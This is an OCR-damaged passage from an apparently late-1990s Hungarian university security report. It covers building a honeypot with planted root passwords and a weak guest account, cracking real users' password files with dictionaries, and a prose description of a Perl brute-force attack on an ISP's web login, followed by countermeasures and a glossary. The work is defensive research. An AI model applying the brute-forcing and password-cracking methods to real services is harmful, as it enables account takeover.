kell tenni annak érdekében, hogy pontosan tudjuk, mikor mi torténik a rend-
szerlinkon.

El kell helyezni apré triikkoket:

e A belépés utan automatikusan lefuté programok (példdul a .bashrc
vagy a .profile scriptek) belsejébe elhelyezhetiink figyelmezteté ru-
tinokat, melyek E-mail-ben figyelmeztetnek, ha valaki az adott fel-
hasznal6 nevén belépett.

e Megvaltoztathatjuk az rm (f4jl torlés) parancsot, hogy a torolt fajlokat
ne torolje véglegesen, csak egy ideiglenes helyre rakja at.

Fontos, hogy a felinstallalt, és feltort rendszertiinkben mdr mi sem bizhatunk,
igy egyrészt érdemes archivalni a rendszeriinket egy esetleges betorés el6tt,
illetve célszerti minden f&jlrdl ujjlenyomatot (fingerprint) venni.
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A [3]-ben kifejtett médon példaul a tripwire programmal MDS aldirdsokat
tarolhatunk a felrakott programokrol igy a rendszer allapotat folyamatosan
ellenérizhetjiik.

Fontos, és elengedhetetlen 1épés, hogy kirakjunk a belépéskor egy figyel-
meztetd tizenetet*.

Ez tartalmazza azt, hogy a rendszert csak engedélyezett felhaszndldk
hasznalhatjdk, és hogy minden billentytletitést montirozhatunk. Erre a jog
visszassaga miatt mindenképpen jobb odafigyelni, hiszen esetleg mi ugyan
nem tudjuk beperelni a betorot, de a betérd beperelhet minket az illetéktelen
lehallgatasért.

Az aprobb tritkkkok kozé tartozik még a figyelem felkeltése és koncentrdldsa.
Erdemes a gép nevét gy megvalasztani, hogy az konnyen potencialis betorok
célpontja legyen. Példaul egy ns2.bme.hu cimet barmely betord érdekesnek
taldlhatja.

Hasonl6 eszkoz példaul a finger informdcick meghamisitdsa. Mi a mar
megirt decfingerd programot hasznaltuk, melynél szoveges fajlokban tarolt
hamis informécié kertil kifrasra a felhasznald képernyére. EbbdSl megtud-
hatja, hogy egy ,,quest” nevi és egy ,,hallgato” felhasznalé is be van lépve
a rendszerbe. Ezutan szabadon eldonthetd, hogy legyen-e tényleges ,,gu-
est” felhasznald, vagy csak az erre érkezé kisérleteket kovessiik. Ez alkal-
mas lehet egy valodi rendszer védelmére is. (Példaul azonnal letiltjuk annak
a gépnek a hozzaférését a rendszeriinkhoz, amelyik a ,,guest” azonositéra
prébél belépést kezdeményezni.) Megtehetjiik azt is, hogy a ,,guest” fel-
hasznalénak nem adunk jelszét, vagy nagyon egyszeri jelszot hasznalunk a
belépés megkonnyitésére. Mi azt a moédszert valasztottuk, hogy a ,,guest”
felhasznélénak guest a jelszava, am alapesetben csak egy lynx webbrow-
ser program indul el a .profile-bdl, majd ennek befejezésével a rendszer a
felhasznalét kilépteti.

Ez azért j6 modszer, mert az esetleges betérd nem csodélkozik nagyon,
nem gyanit semmit, ugyanakkor a lynx-bél kis triikkel hamar shell-elérést
tud csindlni. fgy egy kicsit mar ekkor megdolgoztatjuk a betorot, és esetleges
gyanujat a tul konnyi belépésrdél elterelhetjiik.

Miutan a felhasznal6 belépett, és szeretné a gépet feltorni, erre is modot
kell adni. Mivel a Debian programrendszert megfeleléen frissitik, igy nem
konnyt olyan allapotban hagyni a gépet, hogy az jol feltorheto legyen. Errol
ugy gondoskodtunk, hogy a 1999. mérciusi (7 hénapos) valtozatot raktuk fel,
és az azota fellelt hibdk javitasat tartalmazd csomagokat nem frissitettiik.

Par tovabbi aprésagot is elhelyeztink a feltérhetdség érdekében:

%A mi gépeinken az aldbbi iizenet olvashaté belépés utdn: Access to this system is

monitored. Unauthorized access is prohibited. Violators will be referred for prosecution.
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e a,root” felhasznalé (a rendszergazda) shell-jének napléjaban (bash_history)

,,véletleniil” fellelhetd a root-jelszd,

e az /etc/lilo.conf5-ban elhelyeztiink egy jelszavas védelmet. Itt a jelszé
szabadon olvashat6 formaban van rogzitve. Ezt a jelszot a root-jelszoval
valasztottuk azonosra. Ezt fajlt rendes koriilmények kozott ilyenkor
csak a root felhasznalé olvashatja, azonban ezt a védelmet mi kikap-
csoltuk, igy gyakorlatilag barki megtudhatja ezt a jelszot.

Még szamtalan hasonlé triikkkot lehet elhelyezni a rendszerben, ezek dltal
az esetleges betoroé hamar ,,nem megengedett” jogosultsdgokat tud szerezni.

A csapdaszamitégép igy tehat gyakorlatilag készen van. Most mér csak
varni kell a betoroket, és vizsgalni, mit csindlnak. ..

2.3 Osszegzés a csapdaszamitégéprol

A csapdaszamitégép egy olyan megoldds, melyet a kordbban emlitett in-
tuitiv mddszerek segitségével hoztunk létre. A csapdaszamitogép egy kom-
bindlt rendszer, amely magin hordozza az IDS rendszerek sajatossigait
(a betoré megfigyelése), de természetesen alkalmazza a j6l bevalt tovéabbi
modszereket. Ilyenek a riasztasok, fajlok auditdlasa, naplézas, a kapcsolédd
firewall, sziirés, stb.

A csapda 6tlete magunktdl szarmazott, am késébb a szakirodalmat meg-
vizsgélva kidertilt, més is valésitott meg ilyen, vagy hasonlé gépet, ezt a szak-
irodalom honeypot-nak nevezi. A mi megolddsunk tobb eszkozzel tilmutat
ezeken, példaul a titkositott SSH adatfolyam megfigyelésének modszere. (A
fent emlitett hasonlé rendszerekrdl egészen pontos informéciék nem allnak
rendelkezésiinkre, ezért érdemleges Gszzehasonlitdst nem tudtunk végezni.)

Fontos dolog, hogy a csapda létezése miatt az eddig meglevo rendszeriink
biztonsiga is valtozott. Ugy sejtjiik, hogy nem csokkent a biztonsdg, mivel
megfelelen alkalmaztuk a csomagsziirés mdodszerét, nem hasznaltunk azonos
jelszavakat stb., azonban oda kell figyelni arra a tovabbiakban, hogy a tobbi
hélézati eszkoziinket biztonsdgosan kezelni tudjuk.

2.4 A csapda jovoje

A csapdaszamitogépet beiizemelése utan viszonylag rovid ideig tudtuk
haszndlni. Ezalatt az id6 alatt, noha tobb mddszerrel megprobaltuk kivanatos

SLILO: Linuxz Loader, a Linux rendszer betdlté programja; a /etc/lilo.conf a LILO

konfigurdciés fajlja.
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célponttd tenni a szamitogépet, nem sikeriilt valodi betorési kisérletet de-
tektalnunk.

A valddi betorési kisérletek vizsgalatahoz tobb gyenge pontot, és tobb,
egy esetleges betoronek hasznos informaciét kell még a szamitégépre men-
teni.

A csapda szoftverkonfigurdcidjdban is tovabbi fejlesztéseket lehetne eszkozolni.
A lehallgathaté SSH-naplozast fel kellene valtani egy minimélis médon tit-
kositott naplézassal, amely nem olyan feltiiné egy betor6é szamaéara. Fontos
lenne atgondolni a naplézas hélézaton at torténd voltat és kiprobalni a
parhuzamos interfészen keresztiil torténd naplézast. Ekkor az adatokat vagy
nyomtatoéra lehet kiildeni, vagy a masik szamitogéppel 6sszekotve tovabbra
is ugyanoda keriilhetnek a logok, mint eddig.

Miutén a csapda elég adatott gyiijtott, vagy megfelel6 betorésrdl kapunk
informaciét, komoly gondot fog jelenteni az Gsszegyijtott adatok sziirése és
kiértékelése. Mivel regiment dolgot naplézunk, ezért nagyon sok informaciébol
kell kivalasztani a fontosakat és a megbizhatdkat.

A csapdaszamitogép egy adott kornyezetben csak korlatos ideig hasznalhaté.
Egy id6 utan a hackerek csoportja is rdjohet arra, hogy csapdardl van szé, il-
letve meg kell a csoportot, egyént gatolni abban, hogy a csapdaszamitégépen
keresztiil tovabbi gépek integritasat sértse meg. Ezért tehat a csapda nem
szabad, hogy allanddéan igen koénnyen feltérheté legyen, viszont ha nem
konnyen feltorheto, akkor hosszabb tavon is miikodtethetd lehet. Célszertinek
latszik a csapdaszamitogép helyének valtoztatasa, természetesen a konfi-
guracié atépitésével, igy mindig mas helyen, intézményben végezhetoek vele
megfigyelések.
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Fejezet 3

Egy egyszerii Web-es

biztonsagi probléma

Az elhangzottak alapjan szerettiink volna egy egyszerii szemléltet6eszkozt
taldlni olyan biztonsigi probléma&ra, amely nem magatol értet6do, és ava-
tott szem sem latja pontosan a probléma sulyossigat. Ezt probaljuk meg
megvizsgalni és az emlitett szempontok alapjan értékelni.

Egyszert problémankat az tizleti életbdl vettiik. Ez egy valds, gyakorlati
eset, amely ma is az altalunk vazolt médon miikodik.

3.1 A jelszavakrol

3.1.1 Konkrét jelszo-gytlijtemények vizsgalata

Sajat vizsgalatokat is végeztiink, hogy vajon mennyire hasznalnak ma
Magyarorsziagon biztonsagos jelszavakat.

Ehhez két rendszert vizsgaltunk meg;:

Az egyik egy egyetemi szerver 310 felhasznal6i azonositéval, a masik egy
magyar Internet-szolgdlaté jelszélistdja kb. 3700 felhasznaléval.

A jelszéfdjlokat kb. 2-3 napig vizsgéltuk, tortiik fel egy kozepes kapa-
citasu PC segitségével. A jelszofeltoréshez hasznalt szétarak a kovetkezdk
voltak:

e a felhasznaldi adatokbdl (teljes név, loginnév) nyert primitiv variaciok,

e angol szétar (nagységa kb. 2 Mbyte),
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e magyar szotar,

e és magyar IRC beszélgetések egy adott idOtartama alatt altalunk rogzitett

szovegeibol ad6dé szégylijtemény.

A szétarakon par mddositasi szabalyt alkalmaztunk, példaul a jelszo
sz0 esetén kiprobaltuk a Jelszo, jelszol, jelszo?2 ...szavakat is

A jelszéfeltorés tekintélyes miultjaban a feltorhetd jelszavak ilyen ese-
tekben 25% koriil mozogtak. A jelszéfeltorés a nagy sebesség oles6 PC-k
tomeges elterjedésével lett divatos, ez kb. 5-6 évvel ezel6tt tet6zott. Azota
a jelszéhasznalat szigorodott, szamtalan helyen és formaban olvashatunk
jelszéviélasztési jotanacsokat és kotelezéen betartandé dolgokat.

Az egyik ilyen tréfas felhivas a kdvetkezd:

Passwords are like underwear change yours often

Passwords are like underwear don’t share them with friends
Passwords are like underwear the longer the better

Passwords are like underwear be mysterious

Passwords are like underwear don’t leave yours (f)lying around

(Kari Roberts jkarir@umich.edus posztere, Michigan,)

Jogos lenne tehat az elvards, hogy a jelszavak ma mar nem olyan kénnyen
feltorhet6ek mint évekkel korabban. Igaz persze az is, hogy sokkal t6bb olyan
ember is kapott Internet-hozzaférést, akit nem érdekel a rendszer biztonsaga,
Ok nem fognak bonyolult jelszét hasznalni, ha nem kényszeritik ré Oket.

Nézziik viszont az eredményeket:

e Az egyetemi gép esetében 90 jelszd bizonyult gyengének mar erre az
egyszerii tesztre is, és 224 nem volt feltorhetd.

e Az Internet-szolgaltatd esetében 625 jelsz6 volt feltorhetd, és 3064 db
jelszé allta ki a prébat.

Az elsd esetben 29% volt a feltorheté kédok szdma, mig a mdsodik eset-
ben 17%.

Az mar az elsé pillanatban is megéallapithatd, hogy a jelszavak nem lettek
biztonsdgosabbak az elmult években. Azt is j6 1atni, hogy az egyetemi szer-
veren magasabb iskolazottsagi fokd emberek, inkabb hozzaérté felhaszndlék
voltak, mégis ugyanolyan rossz, vagy még rosszabb jelszavakat hasznaltak.
Ennek egyik oka lehet, hogy nem ezzel a teriilettel foglalkoznak az egyete-
men, masik oka lehet, hogy tobb helyen van felhasznaldi azonositojuk, igy
nem tudnak minden helyen egyszerre megfelelp minségili, ugyanakkor meg-
jegyezhetd jelszét hasznalni.
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Az Internet-szolgaltaté esetén az alacsonyabb eredménynek az is egy
magyarazata, hogy kevesebb esetet prébaltunk végig, mivel a tobb jelszd
miatt a kisérletezés is lassabb volt.

Tovabbi vizsgalatok ala vetettiik a fenti jelszéfdjlokat. A feltort jelszavak
a kovetkezképpen oszlanak meg;:

e Az egyetemi szerveren feltort 90 jelszobdl 21 kozvetlentil a felhasznédléi

azonosité alapjan lett kideritve, 69 pedig szétarak alapjan. (23% +
76%).

A szolgaltaté jelszéfajljandl ez az ardany 124 (625-b6l) illetve 501, ami
20%-ot és 80%-ot jelent.

Mint lathato, szignifikans kiilonbség a megoszlasban nincsen.

3.1.2 Vizsgalat az Internet Worm adatbazis alapjan

Ezutan még egy érdekes vizsgdlatot végeztiink:

Megvizsgaltuk, hogy a régi hires ,,Internet Worm” altal tartalmazott 432
leggyakoribb jelszot hasznaltak-e ezeken a gépeken. Az egyetemi gépen egy
ilyen jelszé volt (érdekességként: einstein, ez a feltort jelszavak 1,1%-a),
mig az Internet-szolgédltaténdl 23 ilyen jelszé volt (a feltort jelszavakbdl ez
3,68%). Meglep6 dolog, hogy ha nagyobb rendszert néziink, akkor még ma
is igen nagy valdszintiséggel talalunk ilyen egyszeri jelszavakat.

Nos, ezek a jelszéfeltorési kisérletek természetesen csak a kédolt jelszava-
kat tartalmazo jelszofajl birtokdban tehetek meg. Ahol tehat shadow® rend-
szert hasznalnak, ott ilyen mddszerrel nem lehet feltérni a gépet.

3.1.3 Jelszavak frissessége

Még a legjobb, legbiztosabbnak hitt jelszavak sem tarthatnak orokkeé.
Ha sokaig hasznélnak egy adott jelszét, megnd az esélye, hogy azt valaki
lehallgatta, vagy mas tton birtokdba jutott. Az igy megszerzett jelszavakkal
nem mindig élnek vissza azonnal, viszont biztonsagi rést jelent a rendszeren.
Elvarhaté tehat, hogy egy biztonsagos rendszerben a jelszavakat id6érol idore
megujitjak.

A jelszavak frissességének ellenérzésére a mellékletekben csatolt forraskodu
egyszeri PERL programot hoztunk létre. A programot végigfuttattuk az
egyetemi jelszofajlon. A futtatds a kovetkezé eredményt hozta:

'Ebben az esetben csak a rendszergazda olvashatja el a kédolt jelszavakat tartalmazé
fajlt, mig ha nem alkalmazunk ilyen védelmet, barki hozzdjuthat ezekhez az kényes in-

formé&ciokhoz.
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Kb. 320 jelszobdl 3 honap alatt 19 valtozott meg, ez a jelszavaknak csak
mintegy 1/16-a. (Id6kozben 35 14j felhaszndlét regisztraltak.) Ezen adatok
tiikrében éves szinten is dllandé marad a jelszavak jelent6s része, ami komoly
biztonsagi problémat jelent.

3.2 Web-alapi tamadasi lehet6ségek

A kovetkezd példa tehat azt mutatja be, hogy az egyszerii védekezés nem
mindig elégséges:

Az egyik nagy, millidardokat éré magyar Internet-szolgaltatd a kovetkezo
szolgaltatast nyujtja iigyfeleinek:

Mivel az ligyfél az Interneten eltoltott id6 alapjan fizet a szolgaltaténak
havi dijat, ezért a felhasznalonak modja van lekérdezni, hogy mennyi volt az
adott hénapban az Interneten a szolgaltaténal eltoltott ideje. Ezt a szolgaltatast
a felhaszndlé weben keresztiil érheti el. A felhasznalé a megadott weblap
betdltése utdan kitolt egy szabvanyos web form-ot felhasznal6i azonositojaval,
jelszavaval. A felhasznél6 ezeket bongészije segitségével ,,CGI-POST” eljarassal
kiildi tovabb az Internet-szolgéltatd szerverének.

A szerver a beérkezett informacidk alapjan megkeresi, 1étezik-e az adott
felhasznald, jé-e a jelszava. Sikeres esetben kiirja a forgalmi adatokat, siker-
telenség esetén kozli a felhasznéaloval, hogy nem jé a jelszava.

Megjegyezziik, hogy ilyen szolgédltatdst mas, de hasonlé formaban majd-
nem minden hazai Internet-szolgaltatd, ISP (Internet Service Provider) nyjt.

3.2.1 Egy lehetséges tamadas

A tdmadds az emlitett szolgaltatds ellen kézenfekvo:

[runk egy programot, amely név és jelszd parosokkal kisérletezik, majd
a valasznak megfelel6en lementi a sikeres eredményeket. A program kozvet-
lentil csatlakozhat a szerver web portjara, vagy alkalmazhatunk tamogatd
programokat is.

Mi a libwww-perl programcsomagot hasznaltuk, és a PERL nyelvet.

Bemenetként programunk egy név:jelszo listat kapott, ezt szekvencidlisan
prébalta végig, majd a helyes parositasokat egy kimeneti fajlban helyezte el.
(A szekvencidlis tesztelés nem eléggé hatékony, lehetne parhuzamosan tobb
jelszét tesztelni, de a példa céljara elegendd ez az egyszerti eset.)

Most mar csak a név:jelszé paros eléallitas volt a feladatunk. A szolgaltatonal
minden felhasznal6 beléphet shell-be, és ott valamilyen tevékenységet végezhet,
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példaul elolvashatja a leveleit. A gépen a kédolt jelszofajl nem hozzaférhetd,
viszont a felhaszndldi azonositék letdlthetdk.

Ilyen modszerrel barmely felhasznalé meg tudja szerezni a jelszolistét.
Ez persze nem konnyi akkor, ha nincsen egyetlen felhasznélé-azonositénk
sem az adott szolgdltaténdl. Azonban a felhasznaldi azonositék elég magas
hanyada létezik egy mésik szolgéltatonal is (ennek pontos vizsgalata kiilon
kisérleteket igényeléne), igy a felhasznaldi azonositékat is lehetne szétarfajl
alapjan tesztelni.

Mi a konkrét esetben az ismert felhasznaldi azonositékat dolgoztuk fel.
A teszteléskor egy névhez csak kevés (kb. 6 db.) jelszéval kisérletezgettiink.
Ennek egy példaja a felhaszndlonév:felhaszndlonév jelszo-hozzarendelés.

3.2.2 Eredmények

Koriilbeliil két éjszakai futtatassal (ekkor gyorsabb az Internet elérés) 82
jelszét sikerilt feltorni:

o A titok” jelszd 3 példanyban fordult el,
e a , password” jelszé 2 példanyban,
e a felhaszndld sajat neve, mint jelszé 72(!) példdnyban,

e az,, 1234567, , eszter”,  attila” és még par hasonlé jelszé 1-1 példanyban.

Lathaté tehat, hogy ez a rendszer, csupan a felhasznéldi azonositok tu-
databan, esetleg még anélkil is veszélyben van. Nem csak az okozhat gondot,
hogy illetéktelen felhaszndlé mas nevében telefonal, de az is, hogy a jogos
felhasznalonak keletkezhet ezaltal tobbletkoltsége, hiszen a szolgaltaté a fel-
hasznalt id6t6] fliggben szamlaz a felhaszndldk felé.

3.2.3 A probléma kikiiszobolése

Hogy lehetett volna védekezni az ilyen tipusu tamaddasok ellen?

Tokéletes védekezés ebben az esetben sincs, de ez a rendszer abszolut
megkonnyiti a feltorést, amit konnyen lehet lényegesen nehezebbé tenni:

e Jo elgondolas a CGI program hasznalata, ugyanis példaul egy stan-
dard Apache webszerver esetén, ha a beépitett HTTP Basic Authenti-
cation azonositast hasznaljuk, akkor a példankban ismertetetthez ha-
sonlé tdmadasok ellen kevésbé védhetjiik a rendszeriinket. (A protokoll
szerint a rendszer allapotmentes, igy tobbszori préobalkozasokat nem
vesz észre.) (Mas szolgaltaténal van HTTP Basic Authentication-re
épiilé megoldés. )
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e A belépés kiilonosen egyszeriien ellenérizhetd, mert a CGI program
rogton a valasz elején kozli az eredményt:

— Password authentication 0K
— Bad password

— No such user

Ezen valaszok ismeretében a létezd felhasznalé-nevek is konnyen ki-
derithetdek.

e Ha késziiltek is napléfajlok a belépési kisérletekrdl, azokat senki nem
ellenérizte, a rendszergazda nem keriilt riasztédsra.

e A tObbszori rossz belépési kisérlet esetén a kisérletez6 gépet le lehetne
tiltani. Azt is korlatozni lehetne, hogy adott idén beliil tobb j6 belépés
torténjen ugyanarrdl a géprol. (Am ez a proxy-szerverek haszndlata
miatt problémas.)

e Minden egyes kisérlet alkalmaval az eredmény kozlését lehetne 1-5
méasodperccel késleltetni, illetve a CGI program a vélasz kozlése utan
is tartalmazhatna késleltetést. fgy az ilyen tamadasok esetén a pro-
gramunknak minden egyes kisérlethez tobb idore lenne sziiksége , igy
a feltorés lehetdsége lerovidiilne.

Mint lathattuk, fontos észrevenni, hogy a legegyszeriibb szolgaltatas mek-
kora veszélyeket rejt, bar ezeknél sokkal durvabb tamaddsoktdl is tartani
lehet. Az is latszik, hogy a legegyszertibb jelszo-vélasztds (azaz a maga a
felhaszndléi név) kizdrasa az adott esetben 72 pontencidlis dldozatot men-
tene meg a legalapvetébb tamadéastol.
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Osszegzés

Példakat mutattunk be arra, hogy mennyire fontos az intuicid, a krea-
tivitas akkor, ha biztonsagrol van sz6. Hidba hasznaljuk a legdragabb szoft-
vereket, a biztonsag nem szavatolhatd, ellenben egyszerii eszkozokkel is hatékonyan
lehet védeni a fontos informaéciokat.

Példainkkal arra is ravildgitottunk, hogy a hamis biztonsdgérzet milyen
veszélyeket rejt magaban, és hogy a legegyszertibb szamitégép-haldzati fel-
adat is milyen atgondolast igényel.

Lathatd, hogy a szamitégépes biztonsag, féleg a haldzati operaciés rend-
szerek hasznélata esetén még igen silyos problémékat jelent. A virusveszélynél
is jelentOsebb ugyanis a kockazat, mert itt informdcié lopdsra, valamint
szamtalan visszaélésre méd nyilik. A e-business egyre fejlodé dgazatta valasaval
egyre nagyobb az ,,Internetes létezés” szerepe. Az agazati becslések szerint
az infromatikai szektor, az internet és tarsai a fejlett orszdgokban komoly,
20-50%-0s GDP részesedést érhetnek el az elkdvetkez6 években. Ez az 1) (In-
ternet alapi) gazdasdg pedig igen megnovelt hangsilyu biztonsagpolitikét
igényel.

Jelenleg az ezen a teriileten jelentkez6 biztonségi kérdéseket hazankban
igen elszortan oktatjak csak, kisfoku strukturdltsag mellett. Ezen a hely-
zeten valtoztatni kell, sziikséges az atfogd, atgondolt és valtozatos oktatas
és kutatds. Erre alapot biztosit a kutatok felkésziiltsége, hazdnk egyetemei-
nek magas matematikai, algoritmuselméleti tudasszintje. Fel kell azonban is-
merni ennek a tertiletnek a fontossagat, és meg kell szervezni a téma fajsilyos
kutatasat. Meg kell teremteni a tudomany alapjait, az alaptankonyveket,
alapoktatast. Erre azért van oridsi sziikség, mert alapok nélkiil minden
egyes kutatast szinte a nullardl kell inditani. Hivatkozasi alapot, pezsgd tu-
domanyos életet kell teremteni ezen a tertileten, csak ekkor képzelhet6 el az,
hogy a témaban komoly elérelépések torténjenek.

41



Irodalomjegyzék

1]

Common Criteria Project
1996, National Institute of Standards and Technology, USA
http://csre.nist.gov

Common Criteria (CC), az informatikai termékek és rendszerek biz-
tonsagi értékelésének modszertana,

Miniszterelnoki Hivatal, ITB,

http://www.itb.hu/ajanlasok/al6

The design and implementation of Tripwire:

A file system integrity checker.

Gene Kim, Eugene H. Spafford.

Technical Report CSD-TR-93-071. Purdue University, 1993

Firewalls and Internet Security,
William R. Cheswick, Steve M. Bellovin,
Addison-Wesley, 1994.

Hypertext Transfer Protocol - HTTP/1.1,

Fielding, R., Gettys, J., Mogul, J. C., Frysyk, H., Masinter, L., Leach,
P., Berners-Lee, T,

Work In Progress of the HT'TP working group, July, 1998.

Informatikal biztonsdg: Web-kapcsolatok biztonsdga
Bencsath Boldizsar, 1999, Onéllé laboratériumi beszamold
http://fermat.ebizlab.hit.bme.hu/ boldi/biztonsag/wlbme.doc

Informatikai rendszerek biztonsagi kovetelményei,
Miniszterelnoki hivatal, ITB, 1996.
http://www.itb.hu/ajanlasok/al12

Internet Domain Survey 1999,

Internet Software Consortium
http://www.isc.org/dsview.cgi?domainsurvey / WWW-
9907 /report.html

42



[9]

[17]

[18]

The Internet Worm Program: An Analysis

Eugene H. Spafford

Purdue Technical Report, CSD-TR-823, 1988
ftp://coast.cs.purdue.edu/pub/Purdue/papers/spafford /spaf-IWorm-
paper-CCR.ps.Z

The UK ITSEC scheme,
http://www.itsec.gov.uk

Kevin Mitnick letartoztatasa, 1995,
http://www.takedown.com

Know Your Enemy: I1I
Lance Spitzner, 1999
http://www.enteract.com/ lspitz/enemy3.html

FAQ: Network Intrusion Detection Systems

Robert Graham,

Version 0.4.1, April 15, 1999
http://packetstorm.securify.com/docs/infosec /network-intrusion-
detection.html

The Next Ten Years

Roundtable . Volume 1 . Issue 3 . December 1998
Thomas A. Longstaff and David A.

Fisher of the CERTR Coordination Center

http://interactive.sei.cmu.edu/Features/1998 /December /Roundtable/roundtable_dec98.htm

Orange Book (TCSEC)

http://www.itsc.state.md.us/info/internetsecurity /Regulations/OBSummary.html

VCR y PEO: Dos protocolos criptograficos simples
Emiliano Kargieman, Ariel Futoransky,

1995 illetve ennek mdédositasa (PEO revised Oct,1998)
http://www.core-sdi.com/english /publications.html,
http://www.core-sdi.com/soft /ver-peo.doc.gz,

Secure Syslog,
http://ww.core-sdi.com/englisg/slogging /ssyslog.html

Security of the Internet

The Froehlich/Kent Encyclopedia of Telecommunications vol. 15.
Marcel Dekker, New York, 1997, 231-255.
http://www.cert.org/encyc_article/tocencyc.html

A sensible password checker for Unix
Alec D.E. Muffet. 1992

43



[20]

[21]

[22]

Szerverek biztonsaganak novelése,

Bencsath Boldizsar, 1999, Kommunikéaciés Halézatok laboratériumi
beszamold

http://fermat.ebizlab.hit.bme.hu/ boldi/biztonsag/webszervb.doc

A Taxonomy of Computer Program Security Flaws

Carl E. Landwehr, Alan R. Bull, John P. McDermott

Information Technology Division, 1994, Naval Research Laboratory
Washington D.C. 20375-5337

Védekezés rosszindulati, szandékos programhibak ellen
Hornak Zoltan, 1996. Diplomaterv, BME-MIT

44



Filuggelék A

Roviditések, magyarazatok

CGI — (Common Gateway Interface). A CGI-t tdmogaté bongészéprogramok
szabvanyos médon teszik elérhetévé futtathatéd programok weblapok-
hoz csatoldsat. A futtathaté program a legkiilonbdz6bb dolgokat végezheti,
a weblap-szamlalotdl az adatbéziskezelésig rengeteg alkalmazasa le-
hetséges.

DNS — (Domain Name Service). Az Interneten a felhaszndlék szémadra
értelmes neveket hasznédlnak gépek, szolgaltatasok azonositasara, ezt a
DNS rendszer segitségével alakitjak at az egyértelmii IP azonositokka
(szdmokka).

Firewall — Az internetes halézatban 1étrejott eszkoz, mely egy védett halozatot
elvalaszt egy nem kontrolldlt halézattdl, paldaul az Internettdl. Egy-
szerre elvalaszt és Osszekot, megprobdlja kisziirni a gyanis, tdmadé
szandékt, vagy felesleges informaciot kiszivarogtatd adatokat, ugyan-
akkor kapcsolatot biztosit az Intranet (valamely szervezet bels6 halézata)
és az Internet kozott.

FTP — (File Transfer Protocol). Az Internet egyik igen régi, fajlok atvitelére
szolgdld autentikalt protokoll. A bejelentkezés soran a jelszavak kédolas
nélkiil mennek at a halézaton. Javasolt helyette més, példaul SSL-es
FTP, SCP hasznéilata.

Hacker — A Hacker, Cracker pontos jelentésének definiciéi valtozatosak. A
hacker jelent jészandéku ,,rdér6” tipusu programozot, aki sajat oromére
atir programokat, hogy azok jobbak legyenek. A hacker maésik de-
finicidja a cracker széval mosddik, ekkor szamitogépes biin6z6rol beszéliink,
aki szamitégépbe, vagy szamitogépes rendszerekbe jut be, azt illegdlisan
hasznélja. Egyes hackerek nem is igazan értik amit csindlnak, ezért
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tovabbi kategéria az tiberhacker, aki a tobbi hackernél okosabb, 6 is-
meri fel az alapvetd biztonsdgi hibdkat. A hackerek nem szoktdk ma-
gunkat szamitégépes blin6zoként azonositani, még ha pusztitds is a
szandékuk. Hackerek nélkiil az Internet kevésbé lenne biztonsagos.

IDEA — Szimmetrikus kédolasi eljaras, gyorsabb mint a més célra szolgald
RSA, igy pl. az SSH protokoll az authentikacié utan ezt is hasznéalhatja.

HTTP protokoll — A WWW 4&tviteli protokollja. Tdmogatja a jelszavas
authentikaciot, a legismertebb a HTTP Basic Authentication forma.

HTTP Basic Authentication — A jelszavak nyilt atvitelén alapuld, a UNIX-
os jelszavas autentikdciéra épit6 protokoll. A tObbszori probalkozasokat
naplozza, &m a protokoll allapotmentessége miatt a sokszori kisérletezést
nem tiltja le.

HUB — multiport repeater, az OSI halézati modellben az 1. réteget tartal-
mazd haldézati berendezés, buta ismétlé. Minden portjan minden més
portra érkez6 adat azonnal teljes formajaban olvashatd, igy barmely
atmend titkositatlan forgalom lehallgathaté barmely porton.

IDS — (Intrusion Detection System). Figyel6, analizdlé és cselekvd rend-
szer vagy eszkoz, mellyel rosszindulatid betoré vagy annak valamilyen
cselekedete leleplezhetd.

IETF — (Internet Engineering Task Force). Az Internet mitkodtetésével és
fejlesztésével foglalkozd szervezet, melynek alszervezetei, bizottsdgai
végzik a legfontosabb és legalapvetobb internetes ,,szabvanyok” elfo-
gadasat.

IPchains — A Linux kernel IP szlir§ (packet filtering firewall) funkciéit
bedllité segédprogram. Segitségével meghatarozott halézati forgalom
tipusra, cél vagy forrascimre, portra kezdeményezhetd sziirés.

IP cim — Az Internet hélézatdban a gépek egyértelmii azonositasat lehetévé
tevo szam.

IP Forwarding — A Linux kernelébe is beépitett funkcid, segitségével TP
adatokat lehet tovabbkiildeni méas gépeknek, igy egy gép valédi helye
elrejthetd.

IP Redirecting — A Linux kernelébe beépitett szolgalatas, segitségével bi-
zonyos gépekrol, vagy gépekre mend bizonyos szolgaltatasokat specidlis
kiszolgalokhoz lehet irdnyitani. fgy a felhaszndldé szamara atlatszo,
transzparens prozyszolgaltatds hozhatd 1étre.
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IRC — (Internet Relay Chat). Az Internet egyik legrégebben létrejott kozosségteremtd
beszélgetd szolgdlatdsa. Rengeteg tovabbi lehetdséget tartalmaz, on-
line felhaszndl6i szdama jelenleg a vilagban szazezer koriilire teheto
adott idopillanatban.

Linux — Ingyenes UNIX operaciés rendszer, fejlett TCP /IP halézati tdmogatassal.
Mivel majdnem minden hozza tartozé program forraskddszinten hozzéaférheto,
kitiinGen alkalmas biztonsagi problémék kezelésére, ellenGrzésére, ku-
tatasra és fejlesztésre.

Man-in-the-middle tipust tamadas — Ha egy héaldézati forgalmat egy
kozbens6 személy meg tud csapolni, akkor méd van arra, hogy ez a
kozbensd személy a halézati forgalom mindkét résztvevije felé az ere-
deti partnernek adja ki magat. Nem megfelel6 protokoll esetén ekkor
egy egyszeri kédolt csatorna is dekddolhatéva valhat.

MDS5 — Egy gyakorta hasznalt hash fliggvény. Segitségével egy fajlrél vagy
més adathalmazrdl digitdlis ujjlenyomat készithet6. Kiilonbo6z6 fajlokrol
kiilonb6z6 ujjlenyomat késziil, nagyon nehéz talalni még egy azonos
djlenyomatu fajlt, igy az ilyen aldirassal a fajl integritasa ellendrizhetd,
persze ha az ujjlenyomatokat tartalmazo fajl nem séril.

Packet Filtering Firewall — Csomagszlir6 biztonsagi berendezés, csak bi-
zonyos meghatarozott portokra, iranyokba engedi at csak a halézati
forgalmat. Egyszeri megvaldsitdsa a Linux kernelébe van épitve, az
ipfwadm, 1jabban ipchains paranccsal allithaté be.

Password — Jelszd, az adott felhasznalé azonositasat lehetévé tevo jelhal-
maz. A jelszavakat a mai rendszerek tobbsége nyilt szoveg formajaban
vagy kédolt valtozatban tarolja, a kddolt valtozat altalaban egyirdnyt
fliggvénnyel titkositott, igy nem visszafejthet6. A kdédolt jelszé nem
védett a szétéri probalkozéasoktdl. A legelterjedtebb UNIX-os jelszérendszer
DES algoritmust hasznal, maximum 56 bit hasznos informaciéval, de a
nyelvi sajatossdgok miatt az atlagos informéacidtartalom 30 bit koriili
csak (vagy még kevesebb). [4, 13.oldal]

